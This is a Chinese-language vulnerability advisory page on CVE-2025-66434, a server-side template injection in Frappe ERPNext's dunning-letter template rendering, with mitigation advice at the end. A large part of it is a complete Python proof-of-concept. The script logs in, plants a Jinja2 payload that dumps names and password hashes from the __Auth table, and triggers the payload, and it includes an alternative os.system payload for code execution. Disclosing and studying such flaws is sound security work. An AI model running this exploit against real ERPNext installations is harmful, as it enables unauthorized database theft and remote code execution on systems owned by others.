IPBUF安全漏洞报告
English
CVE-2025-66434 CVSS 8.8 高危

CVE-2025-66434: Frappe ERPNext SSTI远程代码执行漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2025-66434
漏洞类型
服务器端模板注入(SSTI)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Frappe ERPNext

相关标签

CVE-2025-66434SSTI服务器端模板注入远程代码执行Frappe ERPNextJinja2注入认证绕过数据库泄露高危漏洞

漏洞概述

CVE-2025-66434是Frappe ERPNext中的一个高危服务器端模板注入(SSTI)漏洞,CVSS评分8.8。该漏洞存在于get_dunning_letter_text方法中,该方法使用frappe.render_template()渲染Jinja2模板时,将攻击者控制的body_text字段与用户提供的doc上下文一起处理。虽然Frappe框架实现了自定义的SandboxedEnvironment来隔离模板执行环境,但通过get_safe_globals()仍然暴露了frappe.db.sql等危险全局函数。攻击者利用此漏洞可以绕过沙箱限制,在服务器上执行任意代码并获取数据库敏感信息。漏洞影响Frappe ERPNext 15.89.0及以下所有版本,需要认证用户具备Dunning Type配置权限才能利用。

技术细节

该SSTI漏洞的根本原因在于Frappe ERPNext的get_dunning_letter_text方法不安全地处理模板渲染。攻击者可以通过Dunning Letter Text子表的body_text字段注入恶意Jinja2表达式。由于frappe.render_template()函数在渲染时使用了用户提供的doc对象作为上下文,且get_safe_globals()返回的全局字典中包含了frappe.db.sql等危险函数,攻击者可以构造类似{{frappe.db.sql('SELECT * FROM __Auth')}}的payload来执行SQL查询或使用其他危险函数实现代码执行。攻击流程为:1) 登录系统获取认证资格;2) 导航至Dunning Type配置页面;3) 在Dunning Letter Text中插入恶意Jinja2表达式;4) 触发get_dunning_letter_text方法执行任意代码。

攻击链分析

STEP 1
步骤1
攻击者获取Frappe ERPNext系统账号并登录,需要具备配置Dunning Type权限的低权限用户账户
STEP 2
步骤2
访问Dunning Type配置界面,创建或编辑Dunning Type记录
STEP 3
步骤3
在Dunning Letter Text子表的body_text字段中注入恶意Jinja2表达式,如{{frappe.db.sql('SELECT * FROM __Auth')}}
STEP 4
步骤4
保存Dunning Type配置,恶意模板被存储在数据库中
STEP 5
步骤5
触发get_dunning_letter_text方法调用,服务器执行frappe.render_template()渲染注入的模板
STEP 6
步骤6
通过get_safe_globals()暴露的frappe.db.sql等危险函数执行任意SQL查询或代码
STEP 7
步骤7
攻击者获取数据库敏感信息如用户密码哈希、系统配置或其他业务数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-66434 PoC - Frappe ERPNext SSTI in get_dunning_letter_text Note: This is for educational and authorized testing purposes only. """ import requests import json TARGET_URL = "https://target-erpnext-instance.com" LOGIN_API = f"{TARGET_URL}/api/method/login" DUNNING_API = f"{TARGET_URL}/api/resource/Dunning%20Type" # Authentication credentials USERNAME = "your_username" PASSWORD = "your_password" def login(): """Authenticate to Frappe ERPNext""" session = requests.Session() response = session.post(LOGIN_API, json={ "usr": USERNAME, "pwd": PASSWORD }) return session if response.status_code == 200 else None def create_malicious_dunning(session): """Create Dunning Type with SSTI payload in body_text""" # SSTI payload to extract database information # Using frappe.db.sql to execute arbitrary SQL queries ssti_payload = """ {{frappe.db.sql("SELECT name, password FROM __Auth")}} """ # Alternative payload for RCE (if conditions allow) rce_payload = """ {{frappe.app.call("os.system", "id > /tmp/pwned")}} """ dunning_data = { "doctype": "Dunning Type", "dunning_type": "Test SSTI", "company": "Your Company", "dunning_letter_text": [ { "doctype": "Dunning Letter Text", "body_text": ssti_payload, # Malicious SSTI payload "language": "en" } ] } headers = { "Content-Type": "application/json" } response = session.post(DUNNING_API, json=dunning_data, headers=headers) return response def trigger_ssti(session, dunning_name): """Trigger the vulnerable get_dunning_letter_text method""" trigger_url = f"{TARGET_URL}/api/method/erpnext.accounts.dunning.get_dunning_letter_text" payload = { "dunning_type": dunning_name, "doc": { "name": dunning_name, "doctype": "Dunning Type" } } response = session.post(trigger_url, json=payload) return response def main(): print("[*] CVE-2025-66434 PoC - Frappe ERPNext SSTI") print("[*] Target:", TARGET_URL) # Step 1: Login print("\n[1] Authenticating...") session = login() if not session: print("[-] Authentication failed") return print("[+] Authentication successful") # Step 2: Create malicious Dunning Type print("\n[2] Creating malicious Dunning Type...") response = create_malicious_dunning(session) if response.status_code in [200, 201]: print("[+] Malicious Dunning Type created") data = response.json() dunning_name = data.get("data", {}).get("name") # Step 3: Trigger SSTI print("\n[3] Triggering SSTI...") result = trigger_ssti(session, dunning_name) if result.status_code == 200: print("[+] SSTI triggered successfully!") print("[*] Response:", result.text) else: print("[-] Failed to create Dunning Type:", response.text) if __name__ == "__main__": main()

影响范围

Frappe ERPNext < 15.89.0
Frappe ERPNext 15.x through 15.89.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 禁用或删除Dunning功能模块;2) 限制用户对Dunning Type配置的访问权限,仅允许管理员操作;3) 在frappe.render_template调用前对body_text进行严格的HTML/Jinja2语法过滤,移除所有{{}}、{%%}等模板标记;4) 监控和告警所有Dunning Type的创建和修改操作;5) 考虑在应用层实现WAF规则检测SSTI特征payload。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表